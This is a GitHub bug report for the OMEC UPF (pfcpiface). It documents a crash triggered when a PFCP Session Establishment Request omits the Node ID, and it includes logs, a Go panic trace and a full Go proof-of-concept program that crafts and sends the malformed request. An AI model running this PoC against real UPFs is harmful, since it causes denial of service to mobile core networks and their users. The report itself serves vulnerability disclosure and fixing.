-
Notifications
You must be signed in to change notification settings - Fork 119
Open
Description
Describe the bug
When the UPF receives a PFCP Session Establishment Request that is missing the Node ID, handleSessionEstablishmentRequest directly calls IE.NodeID() on the empty IE. This results in a nil pointer dereference and causes a crash, leading to a DoS.
Release Information
Component: UPF (pfcpiface)
Version: upf-epc-pfcpiface:2.1.3-dev
Logs
2025-12-08T16:52:40.168Z INFO pfcpiface/main.go:33 setting log level to: info {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z INFO logger/logger.go:59 set log level: info {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z INFO pfcpiface/main.go:36 {Mode:sim AccessIface:{IfName:lo} CoreIface:{IfName:lo} CPIface:{Peers:[148.162.12.214] UseFQDN:false NodeID: HTTPPort:8080 Dnn:internet EnableUeIPAlloc:false UEIPPool:10.250.0.0/16} EnableGtpuPathMonitoring:false EnableFlowMeasure:false SimInfo:{MaxSessions:50000 StartUEIP:16.0.0.1 StartENBIP:11.1.1.129 StartAUPFIP:13.1.1.199 N6AppIP:6.6.6.6 N9AppIP:9.9.9.9 StartN3TEID:0x30000000 StartN9TEID:0x90000000 UplinkMBR:500000 DownlinkMBR:1000000 UplinkGBR:50000 DownlinkGBR:100000} ConnTimeout:0 ReadTimeout:15 EnableNotifyBess:false EnableEndMarker:false NotifySockAddr: EndMarkerSockAddr: LogLevel:info QciQosConfig:[{QCI:0 CBS:50000 PBS:50000 EBS:50000 BurstDurationMs:10 SchedulingPriority:7} {QCI:9 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:6} {QCI:8 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:5}] SliceMeterConfig:{N6RateBps:500000000 N6BurstBytes:625000 N3RateBps:500000000 N3BurstBytes:625000} MaxReqRetries:5 RespTimeout:2s EnableHBTimer:false HeartBeatInterval: N4Addr:} {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z ERROR pfcpiface/bess.go:775 SetUpfInfo bess {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.169Z ERROR pfcpiface/bess.go:779 bessIP localhost:10514 {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:861 pdrLookup method failed with resp: error:{code:2 errmsg:"No module 'pdrLookup' found"}, err: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:1175 farLookup method failed with resp: error:{code:2 errmsg:"No module 'farLookup' found"}, err: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:1443 appQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'appQERLookup' found"}, error: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z ERROR pfcpiface/bess.go:1443 sessionQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'sessionQERLookup' found"}, error: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z INFO pfcpiface/node.go:84 listening for new PFCP connections on [::]:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/node.go:73 Establishing PFCP Conn with CP node. SPGWC/SMF host: 148.162.12.214, CP node: 148.162.12.214 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/conn.go:121 created PFCPConn from: 172.17.0.2:8805 to: 148.162.12.214:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/messages_conn.go:101 association Setup with DNN: internet {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z INFO pfcpiface/node.go:129 removed connection to 148.162.12.214:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z INFO pfcpiface/conn.go:256 shutdown complete for 148.162.12.214:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/conn.go:121 created PFCPConn from: 172.17.0.2:8805 to: 172.17.0.1:49112{"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:101 association Setup with DNN: internet {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:177 association Setup Request from 172.17.0.1:49112 with recovery timestamp: 2025-12-08 16:53:15 +0000 UTC {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:189 association setup done between nodes local: 172.17.0.2 remote: 172.17.0.1 {"component": "UPF", "category": "Pfcp"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x969462]
goroutine 58 [running]:
github.com/wmnsk/go-pfcp/ie.(*IE).NodeID(0x0)
/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.24/ie/node-id.go:78 +0x22
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).handleSessionEstablishmentRequest(0xc00043f320, {0xdc19c0?, 0xc000255680})
/pfcpiface/pfcpiface/messages_session.go:46 +0x6a
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).HandlePFCPMsg(0xc00043f320, {0xc0000bcba0, 0x21, 0x30})
/pfcpiface/pfcpiface/messages.go:120 +0x814
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve.func1(0xc0000ad490)
/pfcpiface/pfcpiface/conn.go:211 +0x1c5
created by github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve in goroutine 57
/pfcpiface/pfcpiface/conn.go:184 +0xc9
Steps to reproduce the behavior:
- Start a new go project inside a new folder and create a main.go and paste the code below:
- Init Project
go mod init poc
package main
import (
"errors"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
modeSessionMissingNodeID = "session-missing-nodeid"
defaultCPSEID = 0x1111222233334444
heartbeatResponseBufferSize = 4096
defaultWaitForResponse = 5 * time.Second
defaultAssociationRetrySleep = 200 * time.Millisecond
)
type seqGenerator struct {
val uint32
}
func (g *seqGenerator) Next() uint32 {
g.val++
if g.val == 0 || g.val > 0xFFFFFF {
g.val = 1
}
return g.val
}
func forcePFCPv1(pkt []byte) {
if len(pkt) > 0 {
pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
}
}
func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
msgCh := make(chan message.Message, 16)
errCh := make(chan error, 1)
stop := make(chan struct{})
go func() {
defer close(msgCh)
defer close(errCh)
buf := make([]byte, heartbeatResponseBufferSize)
for {
conn.SetReadDeadline(time.Now().Add(1 * time.Second))
n, _, err := conn.ReadFromUDP(buf)
if ne, ok := err.(net.Error); ok && ne.Timeout() {
select {
case <-stop:
return
default:
}
continue
}
if err != nil {
select {
case errCh <- err:
default:
}
return
}
payload := make([]byte, n)
copy(payload, buf[:n])
msg, err := message.Parse(payload)
if err != nil {
log.Printf("[rx] failed to parse PFCP message: %v", err)
continue
}
switch msgTyped := msg.(type) {
case *message.HeartbeatRequest:
seq := msgTyped.Sequence()
rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
raw, err := rsp.Marshal()
if err != nil {
log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
continue
}
forcePFCPv1(raw)
if _, err := conn.Write(raw); err != nil {
log.Printf("[rx] failed to send Heartbeat Response: %v", err)
} else {
log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
}
default:
select {
case msgCh <- msg:
log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
default:
log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
}
}
select {
case <-stop:
return
default:
}
}
}()
cancel := func() {
close(stop)
}
return msgCh, errCh, cancel
}
func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
timer := time.NewTimer(timeout)
defer timer.Stop()
for {
select {
case <-timer.C:
return nil, fmt.Errorf("timeout waiting for %s", description)
case err, ok := <-errCh:
if ok && err != nil {
return nil, fmt.Errorf("receiver error: %w", err)
}
case msg, ok := <-msgCh:
if !ok {
return nil, fmt.Errorf("receiver closed while waiting for %s", description)
}
if match(msg) {
return msg, nil
}
log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
}
}
}
func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string) error {
nodeIE := ie.NewNodeID(nodeID, "", "")
if nodeIE == nil {
return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
}
ies := []*ie.IE{
nodeIE,
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
}
assocSeq := seqGen.Next()
req := message.NewAssociationSetupRequest(assocSeq, ies...)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal association request: %w", err)
}
forcePFCPv1(raw)
log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
if _, err := conn.Write(raw); err != nil {
return fmt.Errorf("send association request: %w", err)
}
_, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
_, ok := m.(*message.AssociationSetupResponse)
return ok
}, "Association Setup Response")
if err != nil {
return fmt.Errorf("association failed: %w", err)
}
log.Printf("[assoc] Association established; ready for exploit traffic.")
return nil
}
func sendSessionMissingNodeID(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP) error {
seq := seqGen.Next()
// Add CP-F-SEID but keep NodeID missing to trigger the vulnerability
fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
if fseidIE == nil {
return errors.New("failed to craft F-SEID IE")
}
// Create Session Establishment Request with CP-F-SEID but without NodeID
req := message.NewSessionEstablishmentRequest(
0, // mp: Message Priority
0, // fo: FO flag
defaultCPSEID, // CP F-SEID
seq, // PFCP sequence number
0, // pri: MP specific value
fseidIE, // CP-F-SEID IE (added)
// Intentionally omit NodeID IE to trigger nil pointer dereference
)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal malformed session establishment request: %w", err)
}
forcePFCPv1(raw)
log.Printf("[poc] → Session Establishment Request (seq=%d, missing NodeID, but includes CP-F-SEID)", seq)
_, err = conn.Write(raw)
return err
}
func main() {
host := flag.String("host", "127.0.0.1", "UPF PFCP address")
port := flag.Int("port", 8805, "UPF PFCP port")
bind := flag.String("bind", "127.0.0.2", "local PFCP source IP")
wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
flag.Parse()
remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
if err != nil {
log.Fatalf("resolve remote: %v", err)
}
localIP := net.ParseIP(*bind)
if localIP == nil {
log.Fatalf("invalid bind IP: %s", *bind)
}
localAddr := &net.UDPAddr{IP: localIP, Port: 0}
conn, err := net.DialUDP("udp", localAddr, remoteAddr)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
defer conn.Close()
msgCh, errCh, cancel := startReceiver(conn)
defer cancel()
seqGen := &seqGenerator{}
log.Printf("Remote UPF target: %s", remoteAddr.String())
log.Printf("Local PFCP source: %s", conn.LocalAddr().String())
// Try to establish association, but continue even if it fails
// Some vulnerabilities may be triggerable without successful association
if err := performAssociation(conn, seqGen, msgCh, errCh, *bind); err != nil {
log.Printf("WARNING: association handshake failed: %v", err)
log.Printf("Continuing anyway - attempting to send exploit payload without association...")
} else {
time.Sleep(*wait)
}
if err := sendSessionMissingNodeID(conn, seqGen, localIP); err != nil {
log.Fatalf("send malformed session establishment request: %v", err)
}
log.Printf("Payload delivered. Observe UPF logs for panic stack traces.")
}
- Download required libraries:
go mod tidy - Run the program with the UPF PFCP server address:
go run main.go -host 172.17.0.2 -port 8805 -bind 172.17.0.1
Expected behavior
For missing/invalid messages, return an Session Establishment Response with the cause: Mandatory IE missing.
Observed behavior
Upon receiving an Session Establishment lacking the Node ID, the UPF experiences a crash.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels